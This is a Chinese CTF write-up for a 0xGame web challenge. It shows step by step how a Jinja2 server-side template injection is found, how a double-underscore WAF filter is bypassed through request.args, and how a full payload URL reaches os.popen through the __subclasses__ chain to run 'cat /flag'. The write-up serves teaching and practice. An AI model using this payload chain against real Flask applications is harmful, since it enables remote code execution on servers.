WP
Step 1:发现注入点
访问页面,发现显示 Searching for: None?,尝试传入参数:
http://49.232.142.230:18579?search=test
页面显示 Searching for: test?,说明 search 参数被直接渲染到模板中。
Step 2:确认SSTI漏洞
注入数学表达式:
http://49.232.142.230:18579?search={{7*7}}
页面返回 49,确认存在 Jinja2 SSTI 漏洞。
Step 3:探测WAF规则
尝试访问 Python 魔术方法:
http://49.232.142.230:18579?search={{"".__class__}}
返回500错误,说明 __(双下划线)被WAF过滤。
Step 4:绕过WAF
使用 request.args 绕过——把被过滤的字符串作为URL参数传入:
http://49.232.142.230:18579?search={{(request.args.a)}}&a=__class__
返回 <class 'str'>,绕过成功!
Step 5:构建完整利用链
使用 {% set %} 块和 [] 括号访问法,逐步构建链:
http://49.232.142.230:18579?search={%set a=request.args.a%}{%set b=request.args.b%}{%set c=request.args.c%}{%set d=request.args.d%}{%set
e=request.args.e%}{{""[a][b][1][c]()[127][d][e][request.args.f]("cat
/flag").read()}}&a=__class__&b=__mro__&c=__subclasses__&d=__init__&e=__globals__&f=popen
链路解析:
1. "" → 字符串对象
2. [request.args.a] → __class__ → 获取 str 类
3. [request.args.b] → __mro__ → 获取 (<class 'str'>, <class 'object'>)
4. [1] → 选择 object 类
5. [request.args.c]() → __subclasses__() → 获取所有子类列表
6. [127] → 选择 os._wrap_close 类
7. [request.args.d] → __init__ → 初始化方法
8. [request.args.e] → __globals__ → 访问全局变量
9. [request.args.f]("cat /flag").read() → os.popen("cat /flag").read() → 执行命令读取flag
Step 6:获取Flag
执行上述payload,页面返回:
0xGame{fl4sk_sst1_ju5t_5o_s0,r1ght?}
知识点总结
1. SSTI(Server-Side Template Injection)服务端模板注入
- 原理:当用户输入被直接拼接到模板引擎中渲染时,攻击者可以注入模板表达式,执行任意代码
- 危害:可导致远程代码执行(RCE),读取服务器文件、执行系统命令
- 本题特征:Flask + Jinja2 模板引擎
2. Jinja2 模板语法
- {{ expression }}:输出表达式结果
- {% statement %}:执行语句(如 set、if、for)
- |attr() / []:属性访问方式
3. WAF绕过技巧
- 双下划线 __ 过滤:常见防护,阻止访问Python魔术方法
- 绕过方法:使用 request.args 把被过滤的字符串作为URL参数传入模板
- 示例:{{""[request.args.a]}}&a=__class__
4. Python类继承链利用
- __class__:获取对象的类
- __mro__:方法解析顺序,获取父类
- __subclasses__():获取所有子类
- __init__.__globals__:访问模块全局变量(如 os.popen)
5. 常用RCE入口类
- os._wrap_close:可调用 os.popen() 执行系统命令
- warnings.catch_warnings:同样可访问 os 模块